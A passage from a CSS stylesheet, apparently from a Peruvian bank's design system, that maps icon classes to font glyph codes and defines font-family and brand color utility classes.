content: "\f13e"
}
.building-r:before {
content: "\f13f"
}
.calendar-b:before {
content: "\f140"
}
.calendar-clock-b:before {
content: "\f141"
}
.calendar-clock-l:before {
content: "\f142"
}
.calendar-clock-r:before {
content: "\f143"
}
.calendar-l:before {
content: "\f144"
}
.calendar-r:before {
content: "\f145"
}
.camera-b:before {
content: "\f146"
}
.camera-l:before {
content: "\f147"
}
.camera-r:before {
content: "\f148"
}
.car-b:before {
content: "\f149"
}
.car-l:before {
content: "\f14a"
}
.car-r:before {
content: "\f14b"
}
.card-approved-b:before {
content: "\f14c"
}
.card-approved-l:before {
content: "\f14d"
}
.card-approved-r:before {
content: "\f14e"
}
.card-change-b:before {
content: "\f14f"
}
.card-change-l:before {
content: "\f150"
}
.card-change-r:before {
content: "\f151"
}
.card-credit-b:before {
content: "\f152"
}
.card-credit-digital-b:before {
content: "\f153"
}
.card-credit-digital-l:before {
content: "\f154"
}
.card-credit-digital-r:before {
content: "\f155"
}
.card-credit-l:before {
content: "\f156"
}
.card-credit-r:before {
content: "\f157"
}
.card-denied-b:before {
content: "\f158"
}
.card-denied-l:before {
content: "\f159"
}
.card-denied-r:before {
content: "\f15a"
}
.card-gear-b:before {
content: "\f15b"
}
.card-gear-l:before {
content: "\f15c"
}
.card-gear-r:before {
content: "\f15d"
}
.card-less-b:before {
content: "\f15e"
}
.card-less-l:before {
content: "\f15f"
}
.card-less-r:before {
content: "\f160"
}
.card-plus-b:before {
content: "\f161"
}
.card-plus-l:before {
content: "\f162"
}
.card-plus-r:before {
content: "\f163"
}
.cards-b:before {
content: "\f164"
}
.cards-l:before {
content: "\f165"
}
.cards-r:before {
content: "\f166"
}
.chart-bar-b:before {
content: "\f167"
}
.chart-bar-l:before {
content: "\f168"
}
.chart-bar-r:before {
content: "\f169"
}
.chart-pie-b:before {
content: "\f16a"
}
.chart-pie-l:before {
content: "\f16b"
}
.chart-pie-r:before {
content: "\f16c"
}
.check-b:before {
content: "\f16d"
}
.check-circle-b:before {
content: "\f16e"
}
.check-circle-l:before {
content: "\f16f"
}
.check-circle-r:before {
content: "\f170"
}
.check-r:before {
content: "\f171"
}
.chicken-leg-b:before {
content: "\f172"
}
.chicken-leg-l:before {
content: "\f173"
}
.chicken-leg-r:before {
content: "\f174"
}
.chronometer-b:before {
content: "\f175"
}
.chronometer-l:before {
content: "\f176"
}
.chronometer-r:before {
content: "\f177"
}
.circle-connection-b:before {
content: "\f178"
}
.circle-connection-l:before {
content: "\f179"
}
.circle-connection-r:before {
content: "\f17a"
}
.clock-b:before {
content: "\f17b"
}
.clock-l:before {
content: "\f17c"
}
.clock-r:before {
content: "\f17d"
}
.close-b:before {
content: "\f17e"
}
.close-circle-b:before {
content: "\f17f"
}
.close-circle-l:before {
content: "\f180"
}
.close-circle-r:before {
content: "\f181"
}
.close-r:before {
content: "\f182"
}
.clothe-hanger-l:before {
content: "\f183"
}
.clothe-hanger-r:before {
content: "\f184"
}
.coffee-b:before {
content: "\f185"
}
.coffee-l:before {
content: "\f186"
}
.coffee-r:before {
content: "\f187"
}
.compass-b:before {
content: "\f188"
}
.compass-l:before {
content: "\f189"
}
.compass-r:before {
content: "\f18a"
}
.copy-b:before {
content: "\f18b"
}
.copy-l:before {
content: "\f18c"
}
.copy-r:before {
content: "\f18d"
}
.desktop-b:before {
content: "\f18e"
}
.desktop-l:before {
content: "\f18f"
}
.desktop-r:before {
content: "\f190"
}
.diamond-b:before {
content: "\f191"
}
.diamond-l:before {
content: "\f192"
}
.diamond-r:before {
content: "\f193"
}
.digital-token-b:before {
content: "\f194"
}
.digital-token-l:before {
content: "\f195"
}
.digital-token-r:before {
content: "\f196"
}
.dni-b:before {
content: "\f197"
}
.dni-l:before {
content: "\f198"
}
.dni-r:before {
content: "\f199"
}
.document-approved-b:before {
content: "\f19a"
}
.document-approved-l:before {
content: "\f19b"
}
.document-approved-r:before {
content: "\f19c"
}
.document-b:before {
content: "\f19d"
}
.document-card-b:before {
content: "\f19e"
}
.document-card-l:before {
content: "\f19f"
}
.document-card-r:before {
content: "\f1a0"
}
.document-denied-b:before {
content: "\f1a1"
}
.document-denied-l:before {
content: "\f1a2"
}
.document-denied-r:before {
content: "\f1a3"
}
.document-l:before {
content: "\f1a4"
}
.document-less-b:before {
content: "\f1a5"
}
.document-less-l:before {
content: "\f1a6"
}
.document-less-r:before {
content: "\f1a7"
}
.document-pencil-b:before {
content: "\f1a8"
}
.document-pencil-l:before {
content: "\f1a9"
}
.document-pencil-r:before {
content: "\f1aa"
}
.document-plus-b:before {
content: "\f1ab"
}
.document-plus-l:before {
content: "\f1ac"
}
.document-plus-r:before {
content: "\f1ad"
}
.document-r:before {
content: "\f1ae"
}
.documents-b:before {
content: "\f1af"
}
.documents-l:before {
content: "\f1b0"
}
.documents-r:before {
content: "\f1b1"
}
.edit-b:before {
content: "\f1b2"
}
.edit-l:before {
content: "\f1b3"
}
.edit-r:before {
content: "\f1b4"
}
.excel-b:before {
content: "\f1b5"
}
.excel-l:before {
content: "\f1b6"
}
.excel-r:before {
content: "\f1b7"
}
.exchange-r:before {
content: "\f1b8"
}
.exclamation-triangle-b:before {
content: "\f1b9"
}
.exclamation-triangle-l:before {
content: "\f1ba"
}
.exclamation-triangle-r:before {
content: "\f1bb"
}
.external-link-r:before {
content: "\f1bc"
}
.eye-b:before {
content: "\f1bd"
}
.eye-l:before {
content: "\f1be"
}
.eye-r:before {
content: "\f1bf"
}
.eye-slash-b:before {
content: "\f1c0"
}
.eye-slash-l:before {
content: "\f1c1"
}
.eye-slash-r:before {
content: "\f1c2"
}
.face-happy-b:before {
content: "\f1c3"
}
.face-happy-l:before {
content: "\f1c4"
}
.face-happy-r:before {
content: "\f1c5"
}
.face-sad-b:before {
content: "\f1c6"
}
.face-sad-l:before {
content: "\f1c7"
}
.face-sad-r:before {
content: "\f1c8"
}
.face-satisfied-b:before {
content: "\f1c9"
}
.face-satisfied-l:before {
content: "\f1ca"
}
.face-satisfied-r:before {
content: "\f1cb"
}
.face-serious-b:before {
content: "\f1cc"
}
.face-serious-l:before {
content: "\f1cd"
}
.face-serious-r:before {
content: "\f1ce"
}
.faceid-b:before {
content: "\f1cf"
}
.faceid-l:before {
content: "\f1d0"
}
.faceid-r:before {
content: "\f1d1"
}
.factory-b:before {
content: "\f1d2"
}
.factory-l:before {
content: "\f1d3"
}
.factory-r:before {
content: "\f1d4"
}
.faucet-b:before {
content: "\f1d5"
}
.faucet-l:before {
content: "\f1d6"
}
.faucet-r:before {
content: "\f1d7"
}
.filter-b:before {
content: "\f1d8"
}
.filter-l:before {
content: "\f1d9"
}
.filter-r:before {
content: "\f1da"
}
.fingerprint-b:before {
content: "\f1db"
}
.fingerprint-l:before {
content: "\f1dc"
}
.fingerprint-r:before {
content: "\f1dd"
}
.flag-b:before {
content: "\f1de"
}
.flag-l:before {
content: "\f1df"
}
.flag-r:before {
content: "\f1e0"
}
.folder-b:before {
content: "\f1e1"
}
.folder-l:before {
content: "\f1e2"
}
.folder-r:before {
content: "\f1e3"
}
.fountain-pen-b:before {
content: "\f1e4"
}
.fountain-pen-l:before {
content: "\f1e5"
}
.fountain-pen-r:before {
content: "\f1e6"
}
.funnel-b:before {
content: "\f1e7"
}
.funnel-l:before {
content: "\f1e8"
}
.funnel-r:before {
content: "\f1e9"
}
.gas-pump-b:before {
content: "\f1ea"
}
.gas-pump-l:before {
content: "\f1eb"
}
.gas-pump-r:before {
content: "\f1ec"
}
.gavel-b:before {
content: "\f1ed"
}
.gavel-l:before {
content: "\f1ee"
}
.gavel-r:before {
content: "\f1ef"
}
.gear-b:before {
content: "\f1f0"
}
.gear-l:before {
content: "\f1f1"
}
.gear-r:before {
content: "\f1f2"
}
.genre-l:before {
content: "\f1f3"
}
.genre-r:before {
content: "\f1f4"
}
.grid-b:before {
content: "\f1f5"
}
.grid-l:before {
content: "\f1f6"
}
.grid-r:before {
content: "\f1f7"
}
.hand-holding-b:before {
content: "\f1f8"
}
.hand-holding-l:before {
content: "\f1f9"
}
.hand-holding-r:before {
content: "\f1fa"
}
.hand-like-b:before {
content: "\f1fb"
}
.hand-like-l:before {
content: "\f1fc"
}
.hand-like-r:before {
content: "\f1fd"
}
.headphone-b:before {
content: "\f1fe"
}
.headphone-l:before {
content: "\f1ff"
}
.headphone-r:before {
content: "\f200"
}
.heart-b:before {
content: "\f201"
}
.heart-l:before {
content: "\f202"
}
.heart-r:before {
content: "\f203"
}
.heart-slash-b:before {
content: "\f204"
}
.heart-slash-l:before {
content: "\f205"
}
.heart-slash-r:before {
content: "\f206"
}
.hourglass-b:before {
content: "\f207"
}
.hourglass-l:before {
content: "\f208"
}
.hourglass-r:before {
content: "\f209"
}
.house-b:before {
content: "\f20a"
}
.house-l:before {
content: "\f20b"
}
.house-r:before {
content: "\f20c"
}
.idcard-b:before {
content: "\f20d"
}
.idcard-l:before {
content: "\f20e"
}
.idcard-r:before {
content: "\f20f"
}
.image-b:before {
content: "\f210"
}
.image-l:before {
content: "\f211"
}
.image-r:before {
content: "\f212"
}
.info-b:before {
content: "\f213"
}
.info-l:before {
content: "\f214"
}
.info-r:before {
content: "\f215"
}
.internet-connection-b:before {
content: "\f216"
}
.internet-connection-slash-b:before {
content: "\f217"
}
.ios-b:before {
content: "\f218"
}
.key-b:before {
content: "\f219"
}
.key-l:before {
content: "\f21a"
}
.key-r:before {
content: "\f21b"
}
.label-b:before {
content: "\f21c"
}
.label-l:before {
content: "\f21d"
}
.label-r:before {
content: "\f21e"
}
.laptop-l:before {
content: "\f21f"
}
.laptop-r:before {
content: "\f220"
}
.light-b:before {
content: "\f221"
}
.light-l:before {
content: "\f222"
}
.light-r:before {
content: "\f223"
}
.list-l:before {
content: "\f224"
}
.list-r:before {
content: "\f225"
}
.lock-b:before {
content: "\f226"
}
.lock-l:before {
content: "\f227"
}
.lock-open-b:before {
content: "\f228"
}
.lock-open-l:before {
content: "\f229"
}
.lock-open-password-b:before {
content: "\f22a"
}
.lock-open-password-l:before {
content: "\f22b"
}
.lock-open-password-r:before {
content: "\f22c"
}
.lock-open-r:before {
content: "\f22d"
}
.lock-password-b:before {
content: "\f22e"
}
.lock-password-l:before {
content: "\f22f"
}
.lock-password-r:before {
content: "\f230"
}
.lock-r:before {
content: "\f231"
}
.mail-b:before {
content: "\f232"
}
.mail-l:before {
content: "\f233"
}
.mail-r:before {
content: "\f234"
}
.man-another-b:before {
content: "\f235"
}
.man-another-l:before {
content: "\f236"
}
.man-b:before {
content: "\f237"
}
.man-circle-b:before {
content: "\f238"
}
.man-circle-l:before {
content: "\f239"
}
.man-circle-r:before {
content: "\f23a"
}
.man-group-b:before {
content: "\f23b"
}
.man-group-l:before {
content: "\f23c"
}
.man-group-r:before {
content: "\f23d"
}
.man-l:before {
content: "\f23e"
}
.man-plus-b:before {
content: "\f23f"
}
.man-plus-l:before {
content: "\f240"
}
.man-plus-r:before {
content: "\f241"
}
.man-r:before {
content: "\f242"
}
.map-marker-b:before {
content: "\f243"
}
.map-marker-l:before {
content: "\f244"
}
.map-marker-r:before {
content: "\f245"
}
.medal-b:before {
content: "\f246"
}
.medal-l:before {
content: "\f247"
}
.medal-r:before {
content: "\f248"
}
.medicine-cabinet-b:before {
content: "\f249"
}
.medicine-cabinet-l:before {
content: "\f24a"
}
.medicine-cabinet-r:before {
content: "\f24b"
}
.megaphone-b:before {
content: "\f24c"
}
.megaphone-l:before {
content: "\f24d"
}
.megaphone-r:before {
content: "\f24e"
}
.menu-r:before {
content: "\f24f"
}
.message-b:before {
content: "\f250"
}
.message-l:before {
content: "\f251"
}
.message-r:before {
content: "\f252"
}
.metric-down-r:before {
content: "\f253"
}
.metric-up-r:before {
content: "\f254"
}
.microphone-b:before {
content: "\f255"
}
.microphone-l:before {
content: "\f256"
}
.microphone-r:before {
content: "\f257"
}
.minus-circle-b:before {
content: "\f258"
}
.minus-circle-l:before {
content: "\f259"
}
.minus-circle-r:before {
content: "\f25a"
}
.minus-r:before {
content: "\f25b"
}
.money-bag-dollar-b:before {
content: "\f25c"
}
.money-bag-dollar-l:before {
content: "\f25d"
}
.money-bag-dollar-r:before {
content: "\f25e"
}
.money-bag-euro-b:before {
content: "\f25f"
}
.money-bag-euro-l:before {
content: "\f260"
}
.money-bag-euro-r:before {
content: "\f261"
}
.money-bag-soles-b:before {
content: "\f262"
}
.money-bag-soles-l:before {
content: "\f263"
}
.money-bag-soles-r:before {
content: "\f264"
}
.money-dollar-r:before {
content: "\f265"
}
.money-dollars-circle-b:before {
content: "\f266"
}
.money-dollars-exchange-l:before {
content: "\f267"
}
.money-dollars-exchange-r:before {
content: "\f268"
}
.money-down-b:before {
content: "\f269"
}
.money-down-l:before {
content: "\f26a"
}
.money-down-r:before {
content: "\f26b"
}
.money-euro-circle-b:before {
content: "\f26c"
}
.money-euro-exchange-l:before {
content: "\f26d"
}
.money-euro-exchange-r:before {
content: "\f26e"
}
.money-euro-r:before {
content: "\f26f"
}
.money-plus-b:before {
content: "\f270"
}
.money-plus-l:before {
content: "\f271"
}
.money-plus-r:before {
content: "\f272"
}
.money-soles-circle-b:before {
content: "\f273"
}
.money-soles-exchange-l:before {
content: "\f274"
}
.money-soles-exchange-r:before {
content: "\f275"
}
.money-soles-r:before {
content: "\f276"
}
.money-up-b:before {
content: "\f277"
}
.money-up-l:before {
content: "\f278"
}
.money-up-r:before {
content: "\f279"
}
.paper-plane-b:before {
content: "\f27a"
}
.paper-plane-l:before {
content: "\f27b"
}
.paper-plane-r:before {
content: "\f27c"
}
.paperclip-r:before {
content: "\f27d"
}
.pen-b:before {
content: "\f27e"
}
.pen-l:before {
content: "\f27f"
}
.pen-r:before {
content: "\f280"
}
.percentage-down-b:before {
content: "\f281"
}
.percentage-down-l:before {
content: "\f282"
}
.percentage-down-r:before {
content: "\f283"
}
.percentage-square-b:before {
content: "\f284"
}
.percentage-square-l:before {
content: "\f285"
}
.percentage-square-r:before {
content: "\f286"
}
.percentage-up-b:before {
content: "\f287"
}
.percentage-up-l:before {
content: "\f288"
}
.percentage-up-r:before {
content: "\f289"
}
.persons-b:before {
content: "\f28a"
}
.persons-l:before {
content: "\f28b"
}
.persons-r:before {
content: "\f28c"
}
.piggy-bank-b:before {
content: "\f28d"
}
.piggy-bank-l:before {
content: "\f28e"
}
.piggy-bank-r:before {
content: "\f28f"
}
.play-circle-b:before {
content: "\f290"
}
.play-circle-l:before {
content: "\f291"
}
.play-circle-r:before {
content: "\f292"
}
.plus-circle-b:before {
content: "\f293"
}
.plus-circle-l:before {
content: "\f294"
}
.plus-circle-r:before {
content: "\f295"
}
.plus-r:before {
content: "\f296"
}
.points-horiz-r:before {
content: "\f297"
}
.points-vert-r:before {
content: "\f298"
}
.pos-b:before {
content: "\f299"
}
.pos-l:before {
content: "\f29a"
}
.pos-r:before {
content: "\f29b"
}
.print-b:before {
content: "\f29c"
}
.print-l:before {
content: "\f29d"
}
.print-r:before {
content: "\f29e"
}
.qrcode-b:before {
content: "\f29f"
}
.qrcode-l:before {
content: "\f2a0"
}
.qrcode-r:before {
content: "\f2a1"
}
.question-circle-b:before {
content: "\f2a2"
}
.question-circle-l:before {
content: "\f2a3"
}
.question-circle-r:before {
content: "\f2a4"
}
.redirection-b:before {
content: "\f2a5"
}
.redirection-l:before {
content: "\f2a6"
}
.redirection-r:before {
content: "\f2a7"
}
.robot-b:before {
content: "\f2a8"
}
.robot-l:before {
content: "\f2a9"
}
.robot-r:before {
content: "\f2aa"
}
.rotate-left-r:before {
content: "\f2ab"
}
.rotate-right-r:before {
content: "\f2ac"
}
.safe-box-b:before {
content: "\f2ad"
}
.safe-box-l:before {
content: "\f2ae"
}
.safe-box-r:before {
content: "\f2af"
}
.search-b:before {
content: "\f2b0"
}
.search-r:before {
content: "\f2b1"
}
.share-b:before {
content: "\f2b2"
}
.share-ios-r:before {
content: "\f2b3"
}
.share-l:before {
content: "\f2b4"
}
.share-r:before {
content: "\f2b5"
}
.shield-b:before {
content: "\f2b6"
}
.shield-insurance-b:before {
content: "\f2b7"
}
.shield-insurance-l:before {
content: "\f2b8"
}
.shield-insurance-r:before {
content: "\f2b9"
}
.shield-l:before {
content: "\f2ba"
}
.shield-r:before {
content: "\f2bb"
}
.shopping-bag-b:before {
content: "\f2bc"
}
.shopping-bag-l:before {
content: "\f2bd"
}
.shopping-bag-r:before {
content: "\f2be"
}
.shopping-car-b:before {
content: "\f2bf"
}
.shopping-car-l:before {
content: "\f2c0"
}
.shopping-car-r:before {
content: "\f2c1"
}
.sign-in-r:before {
content: "\f2c2"
}
.sign-out-r:before {
content: "\f2c3"
}
.smartphone-b:before {
content: "\f2c4"
}
.smartphone-call-b:before {
content: "\f2c5"
}
.smartphone-call-l:before {
content: "\f2c6"
}
.smartphone-call-r:before {
content: "\f2c7"
}
.smartphone-l:before {
content: "\f2c8"
}
.smartphone-r:before {
content: "\f2c9"
}
.social-facebook-b:before {
content: "\f2ca"
}
.social-facebook-l:before {
content: "\f2cb"
}
.social-facebook-r:before {
content: "\f2cc"
}
.social-instagram-b:before {
content: "\f2cd"
}
.social-instagram-l:before {
content: "\f2ce"
}
.social-instagram-r:before {
content: "\f2cf"
}
.social-linkedin-b:before {
content: "\f2d0"
}
.social-linkedin-l:before {
content: "\f2d1"
}
.social-linkedin-r:before {
content: "\f2d2"
}
.social-twitter-b:before {
content: "\f2d3"
}
.social-twitter-l:before {
content: "\f2d4"
}
.social-twitter-r:before {
content: "\f2d5"
}
.social-youtube-b:before {
content: "\f2d6"
}
.social-youtube-l:before {
content: "\f2d7"
}
.social-youtube-r:before {
content: "\f2d8"
}
.soup-b:before {
content: "\f2d9"
}
.soup-l:before {
content: "\f2da"
}
.soup-r:before {
content: "\f2db"
}
.star-b:before {
content: "\f2dc"
}
.star-l:before {
content: "\f2dd"
}
.star-r:before {
content: "\f2de"
}
.store-b:before {
content: "\f2df"
}
.store-l:before {
content: "\f2e0"
}
.store-r:before {
content: "\f2e1"
}
.table-b:before {
content: "\f2e2"
}
.table-l:before {
content: "\f2e3"
}
.table-r:before {
content: "\f2e4"
}
.tablet-b:before {
content: "\f2e5"
}
.tablet-l:before {
content: "\f2e6"
}
.tablet-r:before {
content: "\f2e7"
}
.tag-b:before {
content: "\f2e8"
}
.tag-l:before {
content: "\f2e9"
}
.tag-r:before {
content: "\f2ea"
}
.target-b:before {
content: "\f2eb"
}
.target-l:before {
content: "\f2ec"
}
.target-r:before {
content: "\f2ed"
}
.telephone-b:before {
content: "\f2ee"
}
.telephone-l:before {
content: "\f2ef"
}
.telephone-r:before {
content: "\f2f0"
}
.ticket-b:before {
content: "\f2f1"
}
.ticket-l:before {
content: "\f2f2"
}
.ticket-r:before {
content: "\f2f3"
}
.token-b:before {
content: "\f2f4"
}
.token-l:before {
content: "\f2f5"
}
.token-r:before {
content: "\f2f6"
}
.tool-b:before {
content: "\f2f7"
}
.tool-l:before {
content: "\f2f8"
}
.tool-r:before {
content: "\f2f9"
}
.transaction-l:before {
content: "\f2fa"
}
.transaction-r:before {
content: "\f2fb"
}
.trash-b:before {
content: "\f2fc"
}
.trash-l:before {
content: "\f2fd"
}
.trash-r:before {
content: "\f2fe"
}
.trophy-b:before {
content: "\f2ff"
}
.trophy-l:before {
content: "\f300"
}
.trophy-r:before {
content: "\f301"
}
.truck-b:before {
content: "\f302"
}
.truck-l:before {
content: "\f303"
}
.truck-r:before {
content: "\f304"
}
.turn-r:before {
content: "\f305"
}
.umbrella-b:before {
content: "\f306"
}
.umbrella-l:before {
content: "\f307"
}
.umbrella-r:before {
content: "\f308"
}
.wallet-b:before {
content: "\f309"
}
.wallet-l:before {
content: "\f30a"
}
.wallet-r:before {
content: "\f30b"
}
.water-drop-b:before {
content: "\f30c"
}
.water-drop-l:before {
content: "\f30d"
}
.water-drop-r:before {
content: "\f30e"
}
.website-approved-b:before {
content: "\f30f"
}
.website-approved-l:before {
content: "\f310"
}
.website-approved-r:before {
content: "\f311"
}
.website-b:before {
content: "\f312"
}
.website-card-b:before {
content: "\f313"
}
.website-card-l:before {
content: "\f314"
}
.website-card-r:before {
content: "\f315"
}
.website-denied-b:before {
content: "\f316"
}
.website-denied-l:before {
content: "\f317"
}
.website-denied-r:before {
content: "\f318"
}
.website-l:before {
content: "\f319"
}
.website-less-b:before {
content: "\f31a"
}
.website-less-l:before {
content: "\f31b"
}
.website-less-r:before {
content: "\f31c"
}
.website-plus-b:before {
content: "\f31d"
}
.website-plus-l:before {
content: "\f31e"
}
.website-plus-r:before {
content: "\f31f"
}
.website-r:before {
content: "\f320"
}
.woman-b:before {
content: "\f321"
}
.woman-group-b:before {
content: "\f322"
}
.woman-group-l:before {
content: "\f323"
}
.woman-group-r:before {
content: "\f324"
}
.woman-l:before {
content: "\f325"
}
.woman-r:before {
content: "\f326"
}
.world-b:before {
content: "\f327"
}
.world-l:before {
content: "\f328"
}
.world-r:before {
content: "\f329"
}
.yape-link-b:before {
content: "\f32a"
}
.yape-link-l:before {
content: "\f32b"
}
.yape-link-r:before {
content: "\f32c"
}
.zoom-in-b:before {
content: "\f32d"
}
.zoom-in-r:before {
content: "\f32e"
}
.zoom-out-b:before {
content: "\f32f"
}
.zoom-out-r:before {
content: "\f330"
}
.pdf-b:before {
content: "\ea31"
}
.pdf-l:before {
content: "\ea32"
}
.pdf-r:before {
content: "\ea33"
}
.store-clock-b:before {
content: "\ea34"
}
.store-clock-l:before {
content: "\ea35"
}
.store-clock-r:before {
content: "\ea36"
}
.percentage-b:before {
content: "\ea38"
}
.percentage-l:before {
content: "\e800"
}
.percentage-r:before {
content: "\ea37"
}
.smartphone-incoming-call-b:before {
content: "\ea3b"
}
.smartphone-incoming-call-l:before {
content: "\ea39"
}
.smartphone-incoming-call-r:before {
content: "\ea3a"
}
.face-angry-b:before {
content: "\ea3e"
}
.face-angry-l:before {
content: "\ea3c"
}
.face-angry-r:before {
content: "\ea3d"
}
.bcp-font-regular {
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif
}
.bcp-font-demi {
font-family: var(--bcp-font-family-primary-demi, "Flexo-Demi"), helvetica, arial, sans-serif
}
.bcp-font-bold {
font-family: var(--bcp-font-family-primary-bold, "Flexo-Bold"), helvetica, arial, sans-serif
}
.flexo-regular {
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif
}
.flexo-demi {
font-family: var(--bcp-font-family-primary-demi, "Flexo-Demi"), helvetica, arial, sans-serif
}
.flexo-bold {
font-family: var(--bcp-font-family-primary-bold, "Flexo-Bold"), helvetica, arial, sans-serif
}
h1 a,
h2 a,
h3 a,
a h1,
a h2,
a h3,
a,
p a,
li a {
font-weight: 700
}
a h1:active,
a h2:active,
a h3:active,
a:active,
a h1:focus,
a h2:focus,
a h3:focus,
a:focus,
a h1:visited,
a h2:visited,
a h3:visited,
a:visited {
font-weight: 700
}
.primary-900 {
color: var(--primary-900, #001f5a)
}
.bg-primary-900 {
background-color: var(--primary-900, #001f5a)
}
.primary-800 {
color: var(--primary-800, #002473)
}
.bg-primary-800 {
background-color: var(--primary-800, #002473)
}
.primary-700 {
color: var(--primary-700, #002a8d)
}
.bg-primary-700 {
background-color: var(--primary-700, #002a8d)
}
.primary-700-25 {
color: var(--primary-700-25, rgba(0, 42, 141, .25))
}
.bg-primary-700-25 {
background-color: var(--primary-700-25, rgba(0, 42, 141, .25))
}
.primary-600 {
color: var(--primary-600, #002da0)
}
.bg-primary-600 {
background-color: var(--primary-600, #002da0)
}
.primary-500 {
color: var(--primary-500, #0030b3)
}
.bg-primary-500 {
background-color: var(--primary-500, #0030b3)
}
.primary-400 {
color: var(--primary-400, #0a47f0)
}
.bg-primary-400 {
background-color: var(--primary-400, #0a47f0)
}
.primary-300 {
color: var(--primary-300, #3d77ff)
}
.bg-primary-300 {
background-color: var(--primary-300, #3d77ff)
}
.primary-200 {
color: var(--primary-200, #70a9ff)
}
.bg-primary-200 {
background-color: var(--primary-200, #70a9ff)
}
.primary-100 {
color: var(--primary-100, #b3d6ff)
}
.bg-primary-100 {
background-color: var(--primary-100, #b3d6ff)
}
.primary-050 {
color: var(--primary-050, #d1e6ff)
}
.bg-primary-050 {
background-color: var(--primary-050, #d1e6ff)
}
.primary-040 {
color: var(--primary-040, #ebf4ff)
}
.bg-primary-040 {
background-color: var(--primary-040, #ebf4ff)
}
.secondary-900 {
color: var(--secondary-900, #8f1100)
}
.bg-secondary-900 {
background-color: var(--secondary-900, #8f1100)
}
.secondary-800 {
color: var(--secondary-800, #b02b00)
}
.bg-secondary-800 {
background-color: var(--secondary-800, #b02b00)
}
.secondary-700 {
color: var(--secondary-700, #ca4500)
}
.bg-secondary-700 {
background-color: var(--secondary-700, #ca4500)
}
.secondary-600 {
color: var(--secondary-600, #e45e00)
}
.bg-secondary-600 {
background-color: var(--secondary-600, #e45e00)
}
.secondary-500 {
color: var(--secondary-500, #ff7800)
}
.bg-secondary-500 {
background-color: var(--secondary-500, #ff7800)
}
.secondary-400 {
color: var(--secondary-400, #ff961f)
}
.bg-secondary-400 {
background-color: var(--secondary-400, #ff961f)
}
.secondary-300 {
color: var(--secondary-300, #ffa733)
}
.bg-secondary-300 {
background-color: var(--secondary-300, #ffa733)
}
.secondary-200 {
color: var(--secondary-200, #ffbb5c)
}
.bg-secondary-200 {
background-color: var(--secondary-200, #ffbb5c)
}
.secondary-200-40 {
color: var(--secondary-200-40, rgba(255, 187, 92, .4))
}
.bg-secondary-200-40 {
background-color: var(--secondary-200-40, rgba(255, 187, 92, .4))
}
.secondary-200-20 {
color: var(--secondary-200-20, rgba(255, 187, 92, .2))
}
.bg-secondary-200-20 {
background-color: var(--secondary-200-20, rgba(255, 187, 92, .2))
}
.secondary-100 {
color: var(--secondary-100, #ffd89f)
}
.bg-secondary-100 {
background-color: var(--secondary-100, #ffd89f)
}
.secondary-050 {
color: var(--secondary-050, #ffe8c7)
}
.bg-secondary-050 {
background-color: var(--secondary-050, #ffe8c7)
}
.secondary-040 {
color: var(--secondary-040, #fff6e6)
}
.bg-secondary-040 {
background-color: var(--secondary-040, #fff6e6)
}
.background-900 {
color: var(--background-900, #264b78)
}
.bg-background-900 {
background-color: var(--background-900, #264b78)
}
.background-800 {
color: var(--background-800, #3c5d86)
}
.bg-background-800 {
background-color: var(--background-800, #3c5d86)
}
.background-700 {
color: var(--background-700, #527094)
}
.bg-background-700 {
background-color: var(--background-700, #527094)
}
.background-600 {
color: var(--background-600, #6982a3)
}
.bg-background-600 {
background-color: var(--background-600, #6982a3)
}
.background-500 {
color: var(--background-500, #7f95b1)
}
.bg-background-500 {
background-color: var(--background-500, #7f95b1)
}
.background-400 {
color: var(--background-400, #95a7bf)
}
.bg-background-400 {
background-color: var(--background-400, #95a7bf)
}
.background-300 {
color: var(--background-300, #acbace)
}
.bg-background-300 {
background-color: var(--background-300, #acbace)
}
.background-200 {
color: var(--background-200, #c2ccdc)
}
.bg-background-200 {
background-color: var(--background-200, #c2ccdc)
}
.background-100 {
color: var(--background-100, #d8dfea)
}
.bg-background-100 {
background-color: var(--background-100, #d8dfea)
}
.background-050 {
color: var(--background-050, #eaeff5)
}
.bg-background-050 {
background-color: var(--background-050, #eaeff5)
}
.background-040 {
color: var(--background-040, #f2f4f8)
}
.bg-background-040 {
background-color: var(--background-040, #f2f4f8)
}
.onsurface-900 {
color: var(--onsurface-900, #4d5b70)
}
.bg-onsurface-900 {
background-color: var(--onsurface-900, #4d5b70)
}
.onsurface-800 {
color: var(--onsurface-800, #606c7f)
}
.bg-onsurface-800 {
background-color: var(--onsurface-800, #606c7f)
}
.onsurface-700 {
color: var(--onsurface-700, #737e8e)
}
.bg-onsurface-700 {
background-color: var(--onsurface-700, #737e8e)
}
.onsurface-600 {
color: var(--onsurface-600, #868f9e)
}
.bg-onsurface-600 {
background-color: var(--onsurface-600, #868f9e)
}
.onsurface-500 {
color: var(--onsurface-500, #99a1ad)
}
.bg-onsurface-500 {
background-color: var(--onsurface-500, #99a1ad)
}
.onsurface-400 {
color: var(--onsurface-400, #acb2bd)
}
.bg-onsurface-400 {
background-color: var(--onsurface-400, #acb2bd)
}
.onsurface-300 {
color: var(--onsurface-300, #bfc4cc)
}
.bg-onsurface-300 {
background-color: var(--onsurface-300, #bfc4cc)
}
.onsurface-200 {
color: var(--onsurface-200, #d2d5dc)
}
.bg-onsurface-200 {
background-color: var(--onsurface-200, #d2d5dc)
}
.onsurface-100 {
color: var(--onsurface-100, #e5e7eb)
}
.bg-onsurface-100 {
background-color: var(--onsurface-100, #e5e7eb)
}
.onsurface-050 {
color: var(--onsurface-050, #eff0f2)
}
.bg-onsurface-050 {
background-color: var(--onsurface-050, #eff0f2)
}
.onsurface-040 {
color: var(--onsurface-040, #f6f6f7)
}
.bg-onsurface-040 {
background-color: var(--onsurface-040, #f6f6f7)
}
.attention {
color: var(--attention, #3f78bf)
}
.bg-attention {
background-color: var(--attention, #3f78bf)
}
.attention-light {
color: var(--attention-light, #f5f8ff)
}
.bg-attention-light {
background-color: var(--attention-light, #f5f8ff)
}
.attention-20 {
color: var(--attention-20, rgba(63, 120, 191, .2))
}
.bg-attention-20 {
background-color: var(--attention-20, rgba(63, 120, 191, .2))
}
.attention-close {
color: var(--attention-close, #c6d7ec)
}
.bg-attention-close {
background-color: var(--attention-close, #c6d7ec)
}
.error {
color: var(--error, #e30425)
}
.bg-error {
background-color: var(--error, #e30425)
}
.error-light {
color: var(--error-light, #fff2f5)
}
.bg-error-light {
background-color: var(--error-light, #fff2f5)
}
.error-20 {
color: var(--error-20, rgba(227, 4, 37, .2))
}
.bg-error-20 {
background-color: var(--error-20, rgba(227, 4, 37, .2))
}
.error-close {
